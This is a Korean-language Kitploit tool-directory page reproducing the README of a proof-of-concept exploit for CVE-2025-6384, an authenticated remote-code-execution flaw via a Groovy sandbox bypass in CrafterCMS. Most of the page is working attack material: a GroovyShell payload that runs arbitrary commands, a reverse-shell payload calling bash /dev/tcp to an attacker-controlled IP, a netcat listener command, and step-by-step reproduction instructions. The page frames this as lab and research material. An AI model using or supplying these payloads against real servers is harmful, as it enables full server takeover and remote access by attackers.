Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CrafterCMS-CVE-2025-6384 — CrafterCMS에서 Groovy 샌드박스 우회를 통한 인증된 RCE에 대한 PoC 익스플로잇 (CVE-2025-6384) | Kitploit
도구/GitHubGitHub/maestro-ant/craftercms-cve-2025-6384
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubmaestro-ant/craftercms-cve-2025-6384

CrafterCMS-CVE-2025-6384

CrafterCMS에서 Groovy 샌드박스 우회를 통한 인증된 RCE에 대한 PoC 익스플로잇 (CVE-2025-6384)

저장소 보기
130년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CrafterCMS 인증된 RCE - Groovy 샌드박스 우회 (CVE-2025-6384)

인증된 사용자가 CrafterCMS에서 원격 코드 실행 취약점을 악용할 수 있는 개념 증명(PoC)입니다.

취약점 요약

개발자 권한이 있는 인증된 사용자는 Crafter Studio에서 Groovy 스크립트 샌드박스를 우회하여 원격 코드 실행을 달성할 수 있습니다. 샌드박스는 새로운 GroovyShell의 인스턴스화를 차단하지 못하며, 이를 통해 제한되지 않은 새로운 실행 환경을 만들 수 있습니다.

  • 제품: CrafterCMS
  • 구성 요소: Crafter Studio
  • 취약점: Groovy 샌드박스 우회를 통한 인증된 RCE (CWE-913)
  • 영향: 전체 서버 장악

실습 환경 구축 / 배포

공식 Docker Compose 파일을 사용하여 취약한 CrafterCMS 인스턴스를 빠르게 배포할 수 있습니다.

  1. CrafterCMS의 docker-compose 저장소를 클론합니다:

    git clone https://github.com/craftercms/docker-compose.git
    
  2. authoring 환경 디렉터리로 이동합니다:

    cd docker-compose/authoring
    
  3. 컨테이너를 시작합니다. 그러면 필요한 이미지를 다운로드하고 CrafterCMS 스택이 시작됩니다.

    docker-compose up
    

    (참고: Docker 설치에 따라 sudo가 필요할 수 있습니다.)

  4. 서비스가 완전히 초기화될 때까지 기다립니다. http://localhost:8080/studio에서 Crafter Studio에 접근할 수 있습니다.

    • 기본 사용자 이름: admin
    • 기본 비밀번호: admin

개념 증명(PoC)

샌드박스는 직접 실행 메서드를 올바르게 차단하지만, 아래의 페이로드는 새로운 샌드박스가 적용되지 않은 Groovy 셸을 생성하는 것을 허용합니다.

// File: /scripts/interceptors/pwn.groovy

def shell = new GroovyShell()
def command = "id" // <-- 여기에 명령어 입력
def result = shell.evaluate("'''${command}'''.execute().text")

// 출력은 서버 로그에 출력됩니다
System.err.println("[RCE-PoC] " + result)

RCE 익스플로잇: 리버스 셸

이 페이로드는 공격자가 제어하는 머신으로 리버스 셸을 설정하여 완전한 RCE를 보여줍니다.

1. 리스너 시작

자신의 머신에서 리스너를 시작하여(예: netcat 사용) 들어오는 연결을 수신합니다:

nc -lvnp 4444

2. 페이로드 준비

다음 Groovy 스크립트를 페이로드로 사용하세요. <YOUR_IP>와 <YOUR_PORT>를 리스너의 IP와 포트로 반드시 교체하세요.

// File: /scripts/interceptors/exploit.groovy

def attacker_ip = "<YOUR_IP>"
def attacker_port = "4444" // 또는 <YOUR_PORT>

def cmd = "bash -i >& /dev/tcp/" + attacker_ip + "/" + attacker_port + " 0>&1"
def shell = new GroovyShell()

// 명령어 문자열을 쉽게 처리하기 위해 삼중 따옴표 사용
shell.evaluate("""
    new ProcessBuilder("/bin/bash", "-c", "${cmd}").start()
""")

System.err.println("리버스 셸 페이로드 실행됨.")

재현 단계

  1. 기본 자격 증명(admin / admin)을 사용하여 Crafter Studio(http://localhost:8080/studio)에 로그인합니다.

  2. 사이트 구성 -> 스크립트로 이동합니다.

  3. "Groovy 스크립트" 섹션에서 스크립트 생성/편집을 클릭합니다.

    이미지
  4. 실행될 스크립트 유형(예: 요청 인터셉터)을 선택합니다.

  5. PoC 페이로드를 스크립트 편집기에 붙여넣고 저장합니다.

    이미지
  6. 웹사이트의 아무 페이지(예: http://localhost:8080)에 방문하여 스크립트를 트리거합니다.

  7. 서버의 표준 오류 로그에서 명령어 출력을 확인합니다.

    • PoC의 경우, 컨테이너 ID를 찾고 명령어 출력에 대한 로그를 확인합니다:
    docker-compose logs -f crafter
    

    예상 출력:

    GroovyShell: uid=1000(crafter) gid=1000(crafter) groups=1000(crafter)
    
    이미지
    • 리버스 셸의 경우, netcat 리스너를 확인하세요. 컨테이너로부터 셸 세션을 수신해야 합니다. 이미지

면책 조항

이 자료는 교육 및 연구 목적으로만 제공됩니다. 작성자는 이 정보로 인한 어떠한 오용이나 손해에 대해 책임을 지지 않습니다.

도구 다운로드